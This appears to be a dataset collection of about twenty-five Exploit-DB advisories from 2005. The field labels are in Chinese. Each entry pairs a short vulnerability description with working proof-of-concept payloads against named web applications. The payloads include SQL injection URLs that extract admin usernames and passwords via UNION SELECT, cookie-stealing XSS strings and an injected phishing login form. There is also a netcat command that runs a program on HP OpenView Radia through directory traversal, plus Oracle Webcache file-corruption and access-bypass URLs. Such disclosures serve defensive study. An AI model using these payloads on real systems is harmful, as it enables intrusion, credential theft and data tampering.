QLWD/code_shield huggingface dataset:
标题: Maxwebportal 1.3 - 'pic_popular.asp' SQL Injection EDB-ID: 25587 CVE: 2005-1417 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13466/info
  
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

pics_popular.asp?10 LINK_ID, HIT,NAME, URL, KEYWORD, DESCRIPTION, EMAIL,
POST_DATE,
BANNER_URL, CATEGORY, PARENT_ID, SHOW, BADLINK FROM pic union select
m_username,m_password,1,1,1,1,1,1,1 from PORTAL_MEMBERS where
m_username='admin' union select URL: https://www.exploit-db.com/exploits/25587
标题: Maxwebportal 1.3 - 'custom_link.asp' Multiple SQL Injections EDB-ID: 25589 CVE: 2005-1417 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13466/info
    
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
    
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

custom_link.asp?method=Topic&TOPIC_ID=[Sql inject]
custom_link.asp?method=Forum&Forum_ID=[Sql inject] URL: https://www.exploit-db.com/exploits/25589
标题: CodetoSell ViArt Shop Enterprise 2.1.6 - 'products.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25579 CVE: 2005-1440 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13462/info
    
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
    
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
    
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/products.php?category_id=13[XSS-CODE]
http://www.example.com/products.php?category_id=0&search_string=[XSS-CODE]&search_category_id= URL: https://www.exploit-db.com/exploits/25579
标题: CodetoSell ViArt Shop Enterprise 2.1.6 - 'product_details.php?category_id' Cross-Site Scripting EDB-ID: 25578 CVE: 2005-1440 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13462/info
   
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
   
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
   
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/product_details.php?item_id=4&category_id=0[XSS-CODE] URL: https://www.exploit-db.com/exploits/25578
标题: Mtp-Target Server 1.2.2 - Memory Corruption EDB-ID: 25584 CVE: 2005-1402 类型: DOS 平台: MULTIPLE 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13463/info

The Mtp-Target server is prone to a memory corruption vulnerability. The issue exists because a comparison fails to ensure that an integer value parameter retrieved from a client is signed. A check is made to ensure that the user-supplied value is less than 1000000 bytes. If the value passed is FFFFFFFFh, it is interpreted as a signed -1 and the check passes. The value is later used as an unsigned integer in a memory allocation operation. An allocation of 4.29 GB of data is attempted and the service crashes.

Immediate consequences of exploitation of this vulnerability are a denial of service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25584.zip URL: https://www.exploit-db.com/exploits/25584
标题: CodetoSell ViArt Shop Enterprise 2.1.6 - 'reviews.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25577 CVE: 2005-1440 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13462/info
  
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
  
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
  
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/reviews.php?category_id=0&item_id=4[XSS-CODE]
http://www.example.com/reviews.php?category_id=0[XSS-CODE]&item_id=4
http://www.example.com/reviews.php?filter=0&item_id=4[XSS-CODE]&category_id=0 URL: https://www.exploit-db.com/exploits/25577
标题: Mtp-Target 1.2.2 Client - Remote Format String EDB-ID: 25574 CVE: 2005-1401 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13460/info

A remote format string vulnerability affects Mtp-Target Client. This issue is due to a failure of the application to securely call a formatted printing function.

An attacker may leverage this issue to execute arbitrary code with the privileges of an unsuspecting user that activated the vulnerable client application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25574-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25584.zip URL: https://www.exploit-db.com/exploits/25574
标题: CodetoSell ViArt Shop Enterprise 2.1.6 - 'page.php?page' Cross-Site Scripting EDB-ID: 25576 CVE: 2005-1440 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13462/info
 
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
 
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/page.php?page=about%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/page.php?page=%3Cp%3Ean%20eror%20was%20send%20to%20webmaster,%20please%20insert%20your%20username%20and%20password%20,%20and%20continue%20shopping%20%3Cform%20action=%22http://www.example.com/save.php%22%20method=%22post%22%3EUsername:%3Cinput%20aame=%22username%22%20type=%22text%22%20maxlength=%2230%22%3E%3Cbr%3EPassword:%3Cinput%20name=%22password%22%20type=%22text%22%20maxlength=%2230%22%3E%3Cbr%3E%3Cinput%20name=%22login%22%20type=%22submit%22%20value=%22Login%22%3E%3C/form%3E URL: https://www.exploit-db.com/exploits/25576
标题: phpCOIN 1.2 - 'login.php?PHPcoinsessid' SQL Injection EDB-ID: 25568 CVE: 2005-1384 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13433/info

PHPCoin is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/login.php?w=user&o=login&phpcoinsessid=SQL_INJECTION' URL: https://www.exploit-db.com/exploits/25568
标题: phpCOIN 1.2 Pages Module - Multiple SQL Injections EDB-ID: 25569 CVE: 2005-1384 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13433/info
 
PHPCoin is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/mod.php?mod=pages&mode=list&dtopic_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b
http://www.example.com/mod.php?mod=pages&mode=list&dcat_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b URL: https://www.exploit-db.com/exploits/25569
标题: Maxwebportal 1.3 - 'dl_popular.asp' SQL Injection EDB-ID: 25585 CVE: 2005-1417 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13466/info

MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Dl_Popular.asp?40 DL_ID,Hit,DESCRIPTION,NAME,POST_DATE,1,1,1,1,1,1,1 FROM DL
union select
m_username,m_password,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where
m_username='admin' union
select URL: https://www.exploit-db.com/exploits/25585
标题: JGS-Portal 3.0.1 - 'ID' SQL Injection EDB-ID: 25570 CVE: 2005-1479 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13451/info

JGS-Portal is prone to an SQL injection. This issue may potentially be exploited to compromise the software or gain unauthorized access to the database.

The consequences of exploitation will depend on the nature of the vulnerable SQL query and the capabilities of the underlying database implementation. 

http://www.example.com/jgs_portal.php?id='SQL_here URL: https://www.exploit-db.com/exploits/25570
标题: CodetoSell ViArt Shop Enterprise 2.1.6 - 'news_view.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25580 CVE: 2005-1440 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13462/info
     
ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
     
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
     
These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/news_view.php?news_id=3&rp=news.php[XSS-CODE]&page=1
http://www.example.com/news_view.php?news_id=3&rp=news.php&page=1[XSS-CODE] URL: https://www.exploit-db.com/exploits/25580
标题: CodetoSell ViArt Shop Enterprise 2.1.6 - 'basket.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25575 CVE: 2005-1440 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13462/info

ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

These issues are reported to affect ViArt Shop Enterprise version 2.1.6; other versions may also be vulnerable. 

http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0[XSS-CODE]%26search_string%3Dss%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3D[XSS-CODE]%26search_string%3Dss%26search_category_id%3D%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3Dss%26search_string%3Dss%26search_category_id[XSS-CODE]%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3Dss%26search_string%3Dss%26search_category_id%3D[XSS-CODE]%26search_category_id%3D
http://www.example.com/basket.php?rp=products.php%3Fcategory_id%3D0%26search_string%3Dss%26search_string%3Dss%26search_category_id%3D%26search_category_id%3D[XSS-CODE] URL: https://www.exploit-db.com/exploits/25575
标题: Just William's Amazon Webstore - 'searchFor' Cross-Site Scripting EDB-ID: 25565 CVE: 2005-1403 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13426/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/index.php?function=search&searchFor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25565
标题: Just William's Amazon Webstore - 'CurrentNumber' Cross-Site Scripting EDB-ID: 25566 CVE: 2005-1403 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13427/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/uk/list/c/software_CAD_Technical_60002_uk.htm?currentNumber=4.3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentIsExpanded=0 URL: https://www.exploit-db.com/exploits/25566
标题: Oracle Application Server 9i - Webcache Cache_dump_file Cross-Site Scripting EDB-ID: 25562 CVE: 2005-1381 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-04-28 漏洞利用脚本: source : https://www.securityfocus.com/bid/13421/info

A remote cross-site scripting vulnerability affects the Oracle Application Server 9i Webcache administration console. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

The issue affects the 'cache_dump_file' parameter of the 'webcacheadmin' script. 

http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_replace_file.txt<script>alert(document.cookie);</script>
http://administrator:administrator@example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_append_file.txt<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/25562
标题: Just William's Amazon Webstore - 'CurrentIsExpanded' Cross-Site Scripting EDB-ID: 25564 CVE: 2005-1403 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13425/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/index.php?currentIsExpanded=0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&currentNumber=8 URL: https://www.exploit-db.com/exploits/25564
标题: Oracle Application Server 9i - Webcache PartialPageErrorPage Cross-Site Scripting EDB-ID: 25563 CVE: 2005-1381 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13422/info

A remote cross-site scripting vulnerability affects the Oracle Application Server 9i Webcache administration console. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

The issue affects the 'PartialPageErrorPage' parameter of the 'webcacheadmin' script. 

http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.Site.ApologyPages_Edit&ACTION=Submit&PartialPageErrorPage=/inservice.html<script>alert(document.cookie)</script>&site_id=2 URL: https://www.exploit-db.com/exploits/25563
标题: Dream4 Koobi CMS 4.2.3 - 'index.php?Q' SQL Injection EDB-ID: 25556 CVE: 2005-0890 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13413/info

Koobi CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?q='[SQL code] URL: https://www.exploit-db.com/exploits/25556
标题: HP OpenView Radia Management Portal 1.0/2.0 - Remote Command Execution EDB-ID: 25557 CVE: 2005-1370 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13414/info

A remote command execution vulnerability affects HP OpenView Radia Management Portal. This issue is due to a failure of the application to properly secure access to critical functionality. This is due to a directory traversal issue that will permit a remote user to execute any program on the affected computer.

An unauthenticated, remote attacker may leverage this issue to execute arbitrary commands on an affected computer with Local System privileges on the Microsoft Windows platform and elevated privileges on UNIX-based platforms. 

bash$ printf "\x00\x00\x00../../windows/system32/whoami.exe\x00" | nc -v
xx.xx.xx.xx 1065 URL: https://www.exploit-db.com/exploits/25557
标题: Oracle Application Server 9i Webcache - Arbitrary File Corruption EDB-ID: 25561 CVE: 2005-1382 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13420/info

Oracle Application Server 9i Webcache is prone to an arbitrary file corruption vulnerability.

The issue exists becaue dangerous characters are not removed from a certain parameter value, allowing an attacker to construct a URI that contains an absolute path to any target file.

If this URI is followed by a user with sufficient privileges, garbage data is appended to the end of the specified file. 

http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/opt/ORACLE/ias/9.0.2/Apache/Apache/conf/httpd.conf URL: https://www.exploit-db.com/exploits/25561
标题: Claroline E-Learning 1.5/1.6 - 'exercises_details.php?exo_id' SQL Injection EDB-ID: 25553 CVE: 2005-1375 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13407/info
    
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
    
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
    
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
    
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues.

http:///www.example.com/claroline/tracking/exercises_details.php?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1-- URL: https://www.exploit-db.com/exploits/25553
标题: Oracle Application Server 9.0 - HTTP Service Mod_Access Restriction Bypass EDB-ID: 25559 CVE: 2005-1383 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13418/info

Oracle HTTP Server(OHS) of Oracle Application Server is prone to an access restriction bypass vulnerability.

It is possible to configure a list of forbidden URIs in OHS. This is accomplished using 'mod_access'. A URI that is listed is not supposed to be accessible to certain clients, depending on the configuration. However, reports indicate that the Oracle Webcache client may be used to access URIs regardless of the restrictions outlined in OHS 'mod_access'. 

(Port 7778 = Webcache, Port 7779 = OHS)

The following URLs are NOT protected if you access them via Webcache:
http://example.com:7778/dmsoc4j/AggreSpy?format=metrictable&nountype=ohs_child&orderby=Name
http://example.com:7778/server-status
http://example.com:7778/dms0

The following URLs are protected:
http://example.com:7779/dmsoc4j/AggreSpy?format=metrictable&nountype=ohs_child&orderby=Name
http://example.com:7779/server-status
http://example.com:7779/dms0 URL: https://www.exploit-db.com/exploits/25559
标题: phpBB Notes Module - SQL Injection EDB-ID: 25558 CVE: 2005-1378 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13417/info

The notes module for phpBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/posting_notes.php?mode=editpost&p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/* URL: https://www.exploit-db.com/exploits/25558